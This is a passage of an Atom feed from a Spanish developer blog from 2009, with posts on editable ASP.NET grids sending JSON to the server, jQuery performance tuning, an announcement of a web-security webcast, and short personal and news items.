&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; valor { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;*. ActualizarDatos &amp;ldquo;Servidor&amp;rdquo;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;M&amp;eacute;todo del servidor que recupera la informaci&amp;oacute;n del cliente y convierte el objeto Json en una lista de tipos &amp;ldquo;&lt;strong&gt;ClienteData&lt;/strong&gt;&amp;rdquo;:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCelDebug_5F00_21832DB7.png"&gt;&lt;img height="109" width="538" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/grideditCelDebug_5F00_thumb_5F00_6C0CFC42.png" alt="grideditCelDebug" border="0" title="grideditCelDebug" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. ActualizarDatos &amp;ldquo;Cliente&amp;rdquo;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Funci&amp;oacute;n script que recupera todas las celdas que han sido modificadas y crea un objeto json que se env&amp;iacute;a al servidor.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: function ActualizarDatos()
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2: {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     var datos = &amp;#39;&amp;#39;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     var txtEditados = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.txtEdit&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (var i = 0; i &amp;lt; txtEditados.length; i++) {      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(i &amp;gt; 0)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:             datos += &amp;#39;,&amp;#39;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:           
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         datos += &amp;#39;{&amp;quot;&lt;span style="color:#8b0000;"&gt;id&lt;/span&gt;&amp;quot;:&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39; 
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:          + txtEditados[i].parentElement.cells[0].innerText
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:          +&amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;columna&amp;quot;&lt;span style="color:#8b0000;"&gt;:&lt;/span&gt;&amp;quot;&amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:          + txtEditados[i].getAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;columnName&lt;/span&gt;&amp;quot;)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:          + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;valor&amp;quot;&lt;span style="color:#8b0000;"&gt;:&lt;/span&gt;&amp;quot;&amp;#39;+txtEditados[i].innerText
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:          + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;}&amp;#39;;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:     }       
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:     var jDatos = JSON.parse(&amp;#39;[&amp;#39; + datos.replace(/;/g, &amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;)+ &amp;#39;]&amp;#39;);   
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17:     PageMethods.ActualizarDatos(jDatos, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 18:       ActualizarDatosOK, ActualizarDatosKO);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 19: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4:&lt;/strong&gt; recupera todas las celdas con el estilo de datos modificado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;9:&lt;/strong&gt; crea un texto con formato JSon con el identificador del registo, el nombre del campo modificado y el nuevo valor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;16:&lt;/strong&gt; transforma el texto en un objeto JSon &amp;ldquo;&lt;strong&gt;&lt;a target="_blank" href="http://geeks.ms/blogs/mrubino/archive/2009/07/08/json-con-asp-net-ii.aspx"&gt;JSON con ASP.NET II&lt;/a&gt;&lt;/strong&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;17:&lt;/strong&gt; llama al m&amp;eacute;todo de p&amp;aacute;gina del servidor.&lt;/p&gt;
&lt;p align="justify"&gt;Ya hemos finalizado esta pr&amp;aacute;ctica y de una forma muy sencilla hemos mejorado la experiencia de nuestros usuarios. No es tan complicado adaptar los controles ASP.NET para nuestras aplicaciones y a veces es mejor que utilizar complicados controles de terceros.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;Aplicaci&amp;oacute;n&lt;/strong&gt;&lt;a target="_blank" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/EditGrid.zip"&gt;&lt;strong&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/strong&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1473" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="javascript" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/javascript/default.aspx" /><category term="controles web" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/controles+web/default.aspx" /><category term="JQuery" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/JQuery/default.aspx" /><category term="JSon" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/JSon/default.aspx" /></entry><entry><title>Felices Fiestas</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/12/28/felices-fiestas.aspx" /><id>/Community/blogs/marckys/archive/2009/12/28/felices-fiestas.aspx</id><published>2009-12-28T11:36:31Z</published><updated>2009-12-28T11:36:31Z</updated><content type="html">&lt;p align="justify"&gt;Este año ha sido un poco menos activo que el año anterior, pero lo poco que hemos hecho a sido de gran calidad ;-). Espero que el año que entra podamos organizar muchas más cosas y que todos vosotros pongáis vuestro granito de arena para que el grupo siga adelante.&lt;/p&gt;  &lt;p align="justify"&gt;Lo dicho felices fiestas a todos y espero que encontréis un hueco en vuestra agenda para participar más activamente en el grupo.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/fiestas_5F00_72999C5B.jpg"&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="fiestas" border="0" alt="fiestas" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/fiestas_5F00_thumb_5F00_18283B1F.jpg" width="365" height="251" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1443" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author></entry><entry><title>Microsoft presenta el remedio más efectivo contra la gripe A</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/12/02/microsoft-presenta-el-remedio-m-225-s-efectivo-contra-la-gripe-a.aspx" /><id>/Community/blogs/marckys/archive/2009/12/02/microsoft-presenta-el-remedio-m-225-s-efectivo-contra-la-gripe-a.aspx</id><published>2009-12-02T20:33:57Z</published><updated>2009-12-02T20:33:57Z</updated><content type="html">&lt;p align="justify"&gt;&lt;a href="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html" target="_blank"&gt;&lt;img style="border-right-width:0px;margin:5px 0px 0px 20px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="GripeA" border="0" alt="GripeA" align="right" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/GripeA_5F00_296662BF.jpg" width="324" height="167" /&gt;&lt;/a&gt;Microsoft ha lanzado una campaña de marketing utilizando la gripe A como excusa para reforzar sus soluciones para el Acceso Remoto, Teletrabajo y Planes de Contingencia.&lt;/p&gt;  &lt;p align="justify"&gt;Sin duda una idea muy original sacando partido a la actualidad más candente y dando soluciones a la empresa sin complejos, pero no sé si los trabajadores darán soporte a iniciativas como esta.&amp;#160;&amp;#160; &lt;/p&gt;  &lt;p align="justify"&gt;10 puntos para la originalidad de la campaña de Microsoft, me a parecido muy graciosa.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a title="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html" href="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html"&gt;http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1346" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="Microsoft" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Microsoft/default.aspx" /><category term="Humor" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Humor/default.aspx" /></entry><entry><title>Jquery - la potencia sin control no sirve de nada !!</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx" /><id>/Community/blogs/marckys/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx</id><published>2009-11-25T23:43:00Z</published><updated>2009-11-25T23:43:00Z</updated><content type="html">&lt;p align="justify"&gt;Yo soy de esos programadores web que est&amp;aacute;n disfrutando con las bondades que nos ofrece &lt;a target="_blank" href="http://jquery.com/"&gt;JQuery&lt;/a&gt; desde su aparici&amp;oacute;n. Esta librer&amp;iacute;a nos simplifica enormemente nuestros desarrollos con JavaScript y los hace mucho m&amp;aacute;s productivos. &lt;/p&gt;
&lt;p align="justify"&gt;Pero hasta ahora realmente no hab&amp;iacute;a aprovechado todo su potencial y es precisamente en&amp;nbsp; esta situaci&amp;oacute;n cuando me ha defraudado un poco.&lt;/p&gt;
&lt;p align="justify"&gt;Me explico:&lt;/p&gt;
&lt;p align="justify"&gt;He querido tratar todo un interfaz de usuario con JQuery para optimizar la presentaci&amp;oacute;n y evitar las idas y venidas de la p&amp;aacute;gina para consultar los datos. Para eso recupero la informaci&amp;oacute;n para rellenar un control, desde mi capa de datos utilizando un m&amp;eacute;todo de p&amp;aacute;gina y formato Json, de esta manera se evita enviar la informaci&amp;oacute;n innecesaria de la p&amp;aacute;gina.&lt;/p&gt;
&lt;p align="justify"&gt;Estos datos tienen una estructura mas o menos compleja o al menos m&amp;aacute;s compleja que una simple tabla, porque se tiene que representar en diferentes niveles.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Fechas&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Identificadores&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Propiedades&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Valor &lt;/strong&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test11_5F00_0E52C721.png"&gt;&lt;img height="211" width="364" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test11_5F00_thumb_5F00_209E1E94.png" alt="test11" border="0" title="test11" style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Para representar estos datos correctamente en la tabla he generado unos bucles que recorren los datos y los presenta dependiendo de algunas condiciones.&lt;/p&gt;
&lt;p align="justify"&gt;No voy a poner todo mi c&amp;oacute;digo pero tendr&amp;iacute;a m&amp;aacute;s o menos este aspecto:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Varios bucles anidados para recorrer los registros y generar la tabla.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$($(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + tabla + &amp;quot;&lt;span style="color:#8b0000;"&gt; tr:first&lt;/span&gt;&amp;quot;)[0].cells).each(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;() { 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; diaCell = &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        diaCell.innerText = result[pos].Key.charAt(0);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Modificaci&amp;oacute;n del DOM para agregar y eliminar datos de la tabla.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; rowHabitaciones = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + tabla + &amp;quot;&lt;span style="color:#8b0000;"&gt; tr [hab]&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; reg = &amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&amp;quot;+&lt;span style="color:#0000ff;"&gt;name&lt;/span&gt; +&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$(RowHab).after(reg);&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Todo perfecto y encantado de lo simple que me ha quedado el c&amp;oacute;digo de cliente que tiene que tratar tanta informaci&amp;oacute;n. &lt;/p&gt;
&lt;p align="justify"&gt;&lt;span style="font-size:medium;"&gt;Peroooooo!!!&lt;/span&gt; si hay un pero. &lt;/p&gt;
&lt;p align="justify"&gt;Al ejecutar el c&amp;oacute;digo est&amp;aacute; tardando mucho m&amp;aacute;s de lo esperado. Llego a tardar tanto en pintar la tabla que hasta el propio explorador me avisaba de este problema.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test_5F00_51BFE9E5.png"&gt;&lt;img height="227" width="480" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test_5F00_thumb_5F00_270C3128.png" alt="test" border="0" title="test" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;&lt;span style="font-size:medium;"&gt;&lt;strong&gt;la potencia sin control no sirve de nada !!&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Tenemos que tener en cuenta que Jquery es una librer&amp;iacute;a que encapsula el lenguaje JavaScript para simplificar su uso, eso significa que para nosotros recorrer el DOM es ahora mucho m&amp;aacute;s f&amp;aacute;cil, pero internamente sigue ejecutando complicadas sentencias para que nuestro c&amp;oacute;digo funcione por ejemplo en diferentes navegadores sin problemas.&lt;/p&gt;
&lt;p align="justify"&gt;Por ese motivo tenemos que seguir unas cuantas reglas para que nuestro c&amp;oacute;digo sea lo m&amp;aacute;s optimo posible.&lt;/p&gt;
&lt;p align="justify"&gt;Antes de la optimizaci&amp;oacute;n de mi c&amp;oacute;digo he testeado la velocidad que tarda el script en representar los datos inicialmente.&lt;/p&gt;
&lt;p align="justify"&gt;Primera prueba sin optimizar: &lt;strong&gt;17,366 segundos !!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test1_5F00_3815806D.png"&gt;&lt;img height="232" width="488" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test1_5F00_thumb_5F00_66277E7A.png" alt="test1" border="0" title="test1" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Realmente es impensable tener un script que tarde 17 segundos en pintar una tabla en el cliente.&lt;/p&gt;
&lt;p align="justify"&gt;Ahora voy a seguir unas simples reglas para el uso adecuado de Jquery haber si realmente ganamos algo en eficacia.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Iteraciones:&lt;/strong&gt; Es recomendable utilizar en lo posible las funciones nativas del navegador y evitar utilizar directamente los objetos del DOM en estas. Es m&amp;aacute;s preferible utilizar texto y a&amp;ntilde;adir este al final de la iteraci&amp;oacute;n.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;A&amp;ntilde;adir elementos al DOM:&lt;/strong&gt; Siguiendo el anterior consejo, si tenemos que agregar una gran cantidad de objetos al DOM, es mejor a&amp;ntilde;adir todos los objetos de una vez que irlos a&amp;ntilde;adiendo progresivamente.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;NO abusar de los selectores:&lt;/strong&gt; Es muy f&amp;aacute;cil abusar de los selectores por su gran potencia. Utilizar variables con los resultados de los selectores para su reutilizaci&amp;oacute;n.&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p align="justify"&gt;Muchos m&amp;aacute;s consejos en &lt;a href="http://www.tvidesign.co.uk/blog/improve-your-jquery-25-excellent-tips.aspx" title="improve-your-jquery-25-excellent-tips"&gt;improve-your-jquery-25-excellent-tips.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Despu&amp;eacute;s de limpiar, reorganizar, no abusar de los objetos DOM y utilizar &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; en decremento de los c&amp;oacute;modos &lt;span style="color:#0000ff;"&gt;each&lt;/span&gt; este es el resultado.&lt;/p&gt;
&lt;p align="justify"&gt;Segunda prueba con el c&amp;oacute;digo optimizado: &lt;strong&gt;0,361 segundos !!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test2_5F00_025A580A.png"&gt;&lt;img height="227" width="494" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/test2_5F00_thumb_5F00_00B13E49.png" alt="test2" border="0" title="test2" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Realmente si cuidamos un poco la forma de utilizar Jquery sumado con el cl&amp;aacute;sico JavaScript podemos tener un c&amp;oacute;digo mucho m&amp;aacute;s optimizado para utilizar con nuestro interfaces de usuario.&lt;/p&gt;
&lt;p align="justify"&gt;Yo al menos en esta pr&amp;aacute;ctica me he ahorrado 17 segundos ni m&amp;aacute;s ni menos y mi control est&amp;aacute; funcionando al 100%.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1336" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="javascript" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/javascript/default.aspx" /><category term="JQuery" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/JQuery/default.aspx" /><category term="JSon" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/JSon/default.aspx" /></entry><entry><title>Evento Seguridad Web XSS y buenas prácticas</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/11/16/evento-seguridad-web-xss-y-buenas-pr-225-cticas.aspx" /><id>/Community/blogs/marckys/archive/2009/11/16/evento-seguridad-web-xss-y-buenas-pr-225-cticas.aspx</id><published>2009-11-16T21:28:15Z</published><updated>2009-11-16T21:28:15Z</updated><content type="html">&lt;p align="justify"&gt;Para los despistados o los que no se hayan enterado aún del evento, mañana Martes 17 de Noviembre de 2009, los chicos de &lt;a href="http://www.secondnug.com/" target="_blank"&gt;secondnug&lt;/a&gt; con sus ya famosos&amp;#160; webCasts, me han pedido que repita la charla que hice en el &lt;a href="http://www.codecamp.es" target="_blank"&gt;CodeCamp 09&lt;/a&gt; sobre como podemos evitar los típicos ataques web XSS, Inyección SQL, etc.&lt;/p&gt;  &lt;p align="justify"&gt;Si os interesa el tema no os podéis perder esta introducción 100% práctica de la seguridad web con buenas prácticas.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Apuntaros antes de que se cierren las inscripciones !!!&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032432921&amp;amp;EventCategory=4&amp;amp;culture=es-AR&amp;amp;CountryCode=AR" target="_blank"&gt;&lt;img style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" title="2f39cfe4-77da-4b2a-a322-b9a6ee133e7a" border="0" alt="2f39cfe4-77da-4b2a-a322-b9a6ee133e7a" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/2f39cfe477da4b2aa322b9a6ee133e7a_5F00_6539EE1F.jpg" width="439" height="327" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1318" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author></entry><entry><title>Microsoft Facebook en mi Windows Mobile 6.1</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/11/12/microsoft-facebook-en-mi-windows-mobile-6-1.aspx" /><id>/Community/blogs/marckys/archive/2009/11/12/microsoft-facebook-en-mi-windows-mobile-6-1.aspx</id><published>2009-11-12T20:32:37Z</published><updated>2009-11-12T20:32:37Z</updated><content type="html">&lt;p&gt;&lt;a href="http://www.microsoft.com/windowsmobile/es-es/downloads/facebook.mspx"&gt;&lt;img style="border-right-width:0px;margin:0px 0px 10px 50px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="scr_facebook01" border="0" alt="scr_facebook01" align="right" 